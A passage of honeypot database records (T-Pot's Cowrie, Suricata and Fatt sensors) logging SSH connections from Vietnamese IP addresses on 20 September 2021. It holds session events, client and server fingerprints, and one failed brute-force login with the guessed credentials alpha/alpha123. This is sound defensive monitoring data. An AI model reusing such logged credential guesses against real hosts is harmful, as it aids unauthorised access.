"event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25304	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:52.236643+03	2021-09-20 14:15:09.94547+03	{"_id": "FQblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8d1c8add9c64", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:52.236643Z", "@timestamp": "2021-09-20T11:09:52.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25291	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:50.459019+03	2021-09-20 14:15:09.928471+03	{"_id": "4AblAnwBvYTbRNuE3Rm-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44672, "timestamp": "2021-09-20T11:09:50.459019", "@timestamp": "2021-09-20T11:09:50.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25292	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:51.347179+03	2021-09-20 14:15:09.9305+03	{"_id": "_gblAnwBvYTbRNuE4BmV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 478570690251196, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49014, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.347179Z", "@timestamp": "2021-09-20T11:09:51.347Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25293	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:51.829407+03	2021-09-20 14:15:09.9315+03	{"_id": "AwblAnwBvYTbRNuE4Rqp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57590, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.829407", "@timestamp": "2021-09-20T11:09:51.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25294	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.527458+03	2021-09-20 14:15:09.9325+03	{"_id": "BQblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57590 (192.168.176.2:22) [session: a9acc82a5d8e]", "session": "a9acc82a5d8e", "@version": "1", "protocol": "ssh", "src_port": 57590, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.527458Z", "@timestamp": "2021-09-20T11:09:51.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25295	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:52.233701+03	2021-09-20 14:15:09.9345+03	{"_id": "BgblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:33108 (192.168.176.2:22) [session: 8d1c8add9c64]", "session": "8d1c8add9c64", "@version": "1", "protocol": "ssh", "src_port": 33108, "dest_port": 22, "timestamp": "2021-09-20T11:09:52.233701Z", "@timestamp": "2021-09-20T11:09:52.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25299	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.64512+03	2021-09-20 14:15:09.9385+03	{"_id": "EAblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "615d1775190b", "@version": "1", "timestamp": "2021-09-20T11:09:51.645120Z", "@timestamp": "2021-09-20T11:09:51.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25300	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:51.708325+03	2021-09-20 14:15:09.9405+03	{"_id": "EQblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8b0d7e774921", "@version": "1", "duration": 2.699895143508911, "timestamp": "2021-09-20T11:09:51.708325Z", "@timestamp": "2021-09-20T11:09:51.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25301	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.830145+03	2021-09-20 14:15:09.941499+03	{"_id": "EgblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a9acc82a5d8e", "@version": "1", "timestamp": "2021-09-20T11:09:51.830145Z", "@timestamp": "2021-09-20T11:09:51.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25302	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:52.039265+03	2021-09-20 14:15:09.9425+03	{"_id": "EwblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bfb60212f333", "@version": "1", "duration": 2.684488296508789, "timestamp": "2021-09-20T11:09:52.039265Z", "@timestamp": "2021-09-20T11:09:52.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25303	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:52.124843+03	2021-09-20 14:15:09.944472+03	{"_id": "FAblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c1c7ec8ff97e", "@version": "1", "duration": 2.4601235389709473, "timestamp": "2021-09-20T11:09:52.124843Z", "@timestamp": "2021-09-20T11:09:52.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25305	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:52.399733+03	2021-09-20 14:15:09.9475+03	{"_id": "FgblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [alpha/alpha123] failed", "session": "615d1775190b", "@version": "1", "password": "alpha123", "username": "alpha", "timestamp": "2021-09-20T11:09:52.399733Z", "@timestamp": "2021-09-20T11:09:52.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25306	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:52.46106+03	2021-09-20 14:15:09.948502+03	{"_id": "FwblAnwBvYTbRNuE5Bp-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1700297760055339, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33108, "dest_port": 22, "timestamp": "2021-09-20T11:09:52.461060Z", "@timestamp": "2021-09-20T11:09:52.461Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25307	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:52.237878+03	2021-09-20 14:15:09.949516+03	{"_id": "GQblAnwBvYTbRNuE5RqP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": 